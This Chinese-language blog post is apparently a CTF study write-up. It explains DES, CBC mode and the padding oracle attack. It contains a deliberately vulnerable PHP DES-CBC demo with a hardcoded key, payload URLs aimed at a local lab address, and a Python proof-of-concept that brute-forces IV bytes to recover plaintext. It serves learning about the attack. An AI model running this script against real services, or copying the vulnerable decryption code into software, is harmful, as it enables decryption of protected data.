最近正好学了DES加密,然后在周末的NJCTF遇到了与去年的Seccon相近的题都涉及Padding Oracle漏洞,于是决定深入学习以下DES加密算法及Padding Oracle 漏洞
DES加密算法
DES中的加密算法可以参考这篇文章DES加密算法原理-进击的菜鸟
个人觉得加密过程并不难理解一张图足以解释
难理解在子密钥生成的过程,好在早已经有人归纳好了
- 先去除原始秘钥中的奇偶校验位即最后一位,然后根据选择置换表进行置换后获取C0和D0
- 将D0和C0分别进行循环左移,生成C1和D1,合并后再通过对应的选择置换表置换后得到子密钥K1
- 将C1和D1重复上面的操作得到K2,依次类推
- 注意:循环左移的位数是不一样的,是有响应的参照表的(详情见上述链接A-3表)
DES还存在其他的升级模式:ECB(电子密码本模式)、CBC(加密块链模式)、CFB(加密反馈模式)、OFB(输出反馈模式)。
CBC分组密码的链接模式
由于此处的Padding Oracle Attack是针对CBC分组密码的链接模式来讲的因此此处再讲讲CBC
其实Padding Oracle只针对CBC模式与上面的DES无直接关系,提到DES只是为了后面加深理解
CBC模式加密流程图 ↓
CBC模式解密流程图 ↓
理解以上两张图以后还需要知道以下这张图中的intermediary Value的意思,意为中间值(其实就是解密操作后的值)
Padding Oracle Attack
然后任务就是看文章啦
看完这两篇我想padding oracle Attack应该能理解点了
在看完这篇我想你大概能理解padding oracle漏洞在实际中的作用了
该种攻击方式主要需要两个条件才能实现
1、加密后密文已知且IV向量已知
2、攻击者可以通过操作来触发解密过程,且通过明文或者边信道的方式知道解密的结果(大多数时候,web解密成功则返回Status_code=200,失败则返回Status_code=500)
Padding Oracle复现
这是来自Bendawang师傅的复现代码,稍作修改
获取向量及密文
<?php
#cipher:262b4647cc70d363
#String:6265727472616d(bertram)
#iv:08fe1649311fd298
$cipher = MCRYPT_DES;
$key='123456789';
$modes = MCRYPT_MODE_CBC;
$iv=hex2bin($_GET['iv']);
//获取初始IV
#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);
echo bin2hex($iv)."<br>";
//获取明文
$string=bin2hex($_GET['str']);
echo $string."<br>";
$string=hex2bin($string);
echo $string."<br>";
$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);
#echo bin2hex($iv)."</br>";
echo "The chiper is :<br>".bin2hex($encode)."</br>";
echo "The String is :<br>".bin2hex($decode)."</br>";
?>
后台测试代码
<?php
$string = 'bertram';
$key = '123456789';
$cipher = MCRYPT_DES;
$modes = MCRYPT_MODE_CBC;
/*
#cipher:262b4647cc70d363
#String:6265727472616d(bertram)
#iv:08fe1649311fd298
*/
//获取攻击IV及密文
if(isset($_GET['iv'])&&isset($_GET['enc'])){
$iv=hex2bin($_GET['iv']);
#echo "the iv is:<br>";
#echo $iv."<br>";
$enc=hex2bin($_GET['enc']);
$decode=mcrypt_decrypt($cipher,$key,$enc,$modes,$iv);
#echo bin2hex($iv)."<br>";
#echo bin2hex($encode)."<br>";
#echo $decode."<br>";
echo bin2hex($decode);
$temp=bin2hex($decode);
}
else{
$iv=hex2bin("2077f63bf88d26c0");
$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
echo "the iv is <h2>".bin2hex($iv)."</h2><br>";
echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";
}
?>
运行截图
Test
payload:
http://192.168.5.142/?iv=0000000000000099&enc=262b4647cc70d363
返回值
6a9b643d437ebf01
padding成功
因为 中间值^0x99=0x01
得到 中间值=0x99^0x01
所以 中间值=0x98
于是通过中间值与原始IV异或便可以得到明文 0x98^0x98=0x00
没错我的明文是7位,因此最后一位为空(DES_CBC 8位分组)
继续测试倒数第二个明文
因为第一个中间值为0x98所以可得到提交IV的最后一个是0x98^0x02=0x9a
一番测试得到下一个payload:
http://192.168.5.142/?iv=000000000000bd9a&enc=262b4647cc70d363
接下去就是循环往复的过程了
测试poc献上
# -*- coding:utf-8 -*-
import requests
my_session=requests.Session()
url="http://192.168.5.142/"
iv="08fe1649311fd298"
encoded='262b4647cc70d363'
param={'iv':iv,'enc':encoded}
response=my_session.get(url,params=param)
string=response.content
tmp="00000000000000"
last=""
mid=""
Express=""
for k in xrange(8):
for i in xrange(256):
if i < 16:
mid=str(hex(i)[2])
You_iv=tmp[k*2:]+"0"+mid+last
else:
mid=str(hex(i)[2:])
You_iv=tmp[k*2:]+mid+last
#print You_iv
#print '.',
param={'iv':You_iv,'enc':encoded}
response=my_session.get(url,params=param)
string=response.content
if string[(7-k)*2:(8-k)*2]=="0"+str(k+1):
print "done!"
print You_iv
#print string
#print "YOU_NEXT_IV_IS: "+hex(eval("0x"+str(k+2))^eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1)))[2:]
last=hex(eval("0x"+str(k+2))^eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1)))[2:]+last
#print "YOU_CHAR_IS: "+chr(eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1))^eval("0x"+iv[(7-k)*2:(8-k)*2]))
Express=chr(eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1))^eval("0x"+iv[(7-k)*2:(8-k)*2]))+Express
break
print '=================='
print Express
代码略丑,只测试了第一个分组
最后谢谢Bendawang师傅给的点拨
参考链接: